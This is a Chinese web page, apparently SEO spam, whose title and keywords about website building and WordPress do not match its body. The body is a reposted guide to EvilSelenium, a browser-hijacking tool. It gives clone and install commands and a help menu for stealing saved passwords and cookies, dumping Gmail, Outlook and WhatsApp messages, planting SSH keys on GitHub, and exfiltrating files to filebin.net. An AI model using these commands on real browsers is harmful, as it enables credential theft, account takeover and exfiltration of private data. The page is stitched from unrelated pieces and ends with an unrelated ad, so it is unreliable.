企业官网建设流程全解析

网站二级菜单是什么,广州营销型网站优化,用wordpress还是用框架,wordpress主题使用教程EvilSelenium是一款基于Selenium的渗透测试工具#xff0c;该工具基于武器化的Selenium实现其功能#xff0c;可以帮助广大研究人员针对基于Chromium的浏览器进行安全分析和渗透测试。 功能介绍 1、通过autofill获取存储的凭证信息#xff1b; 2、获取Cookie数据#xf…EvilSelenium是一款基于Selenium的渗透测试工具该工具基于武器化的Selenium实现其功能可以帮助广大研究人员针对基于Chromium的浏览器进行安全分析和渗透测试。功能介绍1、通过autofill获取存储的凭证信息2、获取Cookie数据3、获取网站屏幕截图4、导出Gmail/O365电子邮件数据5、导出Whats*App消息6、下载提取文件信息7、向GitHub添加SSH密钥或者广大研究人员也可以根据自己的需求扩展工具功能比如说从用户的GDrive/OneDrive下载文件等等。注意事项1、该工具在运行的时候将会判断当前设备是否存在正在运行的浏览器进程以便获取包含了密码和活动会话的用户浏览器数据2、Selenium模块不是非常稳定而且随着网站的变化某些模块的运行可能会偶尔中断。工具下载广大研究人员可以使用下列命令将该项目源码克隆至本地git clone https://github.com/mrd0x/EvilSelenium.git工具安装我们可以使用 /install 命令来下载 Chrome Driver 和 Selenium WebDriver这两个组件是EvilSelenium运行所必需的。EvilSelenium支持Chrome v100-90。此方法已在Windows 10Chrome v97 v90上进行过测试EvilSelenium.exe /install工具帮助信息EvilSelenium.exe /? /help - Show this help menu. SETUP: /install - Install chromedriver Selenium webdriver. Run this once. GLOBAL: (accepted with every command) /browserdir [appdata_local_routing] - Use custom browser, Input should be the routing inside %appdatalocal% dir (e.g. MicrosoftEdge) RECON: /enumsavedsites [out_path] - Check which websites have passwords saved via screenshot(s). /screenshot [website] [out_path] - Screenshot a given webpage. CREDENTIALS: /autorun - Extract saved credentials from common websites. /dynamicid [login_page] [username_id] [password_id] - Extract saved credentials from a website, providing the username field ID password field ID. /dynamicname [login_page] [username_name] [password_name] - Extract saved credentials from a website, providing the username field name value password name value. /dynamicname2 [login_page] [username_position] [password_position] [username_name] [password_name] - Extract saved credentials from a website, providing the username field name value, password name value and their positions. COOKIES: /cookies [website] - Grabs cookies for a given website. MODULES: /download [file_url] [seconds] - Downloads a file and specify time to wait for download to finish. File extensions should not be executable. /exfil [local_file] [seconds] - Uploads a file on filebin.net and outputs the download link. /gmail [out_path] [num_of_emails] - Fetches emails from mail.google.com if user is authenticated. Max 50 emails. /outlook [out_path] [num_of_emails] - Fetches emails from Outlook if user is authenticated. /o365 [out_path] [num_of_emails] - Fetches emails from O365 Outlook if user is authenticated. /github [key] - Add your SSH key to Github if user is authenticated. /whats*app [out_path] - Fetches Whats*app messages if user is authenticated (BETA).工具配置使用全局配置默认配置下EvilSelenium将会尝试使用Google Chrome的用户数据文件夹来获取数据其他基于Chromium的浏览器也同样支持该功能。如果想要使用不同的基于Chrome的浏览器则需要向 %localappdata% 目录中添加下列内容一些常见浏览器# Brave /browserdir BraveSoftwareBrave-Browser # Microsoft Edge /browserdir MicrosoftEdge # Vivaldi /browserdir Vivaldi网络侦查模块/enumsavedsites - 获取“chrome://settings/passwords”的屏幕截图。 /screenshot - 获取任意网站的屏幕截图。凭证模块/autorun - 针对常用网站的预构建模版。 /dynamicid - 提供包含了用户名输入字段ID和密码字段ID的登录URL。 /dynamicname - 如果字段不包含ID则提供字段的name值。 /dynamicname2 - 提供字段的name值以及索引位置。Cookie模块/cookies - 从指定网站导出Cookie数据。杂项模块下面给出的是该工具支持的一些额外模块/download - 下载文件指定等待下载的时间。 /exfil - 向filebin.net上传一个文件指定上传完成的等待时间。上传完成后写入文件下载链接。 /gmail - 用户认证后从mail.google.com获取电子邮件电子邮件最大数量为50 /outlook - 用户认证后从Outlook获取电子邮件。 /o365 - 用户认证后从O365 Outlook获取电子邮件。 /github - 用户认证后向GitHub添加SSH密钥。 /whats*app - 用户认证后获取Whats*App消息。工具使用演示最后作为一位过来人也是希望大家少走一些弯路在这里我给大家分享一些软件测试的学习资料这些资料希望能给你前进的路上带来帮助。​视频文档获取方式这份文档和视频资料对于想从事【软件测试】的朋友来说应该是最全面最完整的备战仓库这个仓库也陪伴我走过了最艰难的路程希望也能帮助到你以上均可以分享点下方小卡片即可自行领取。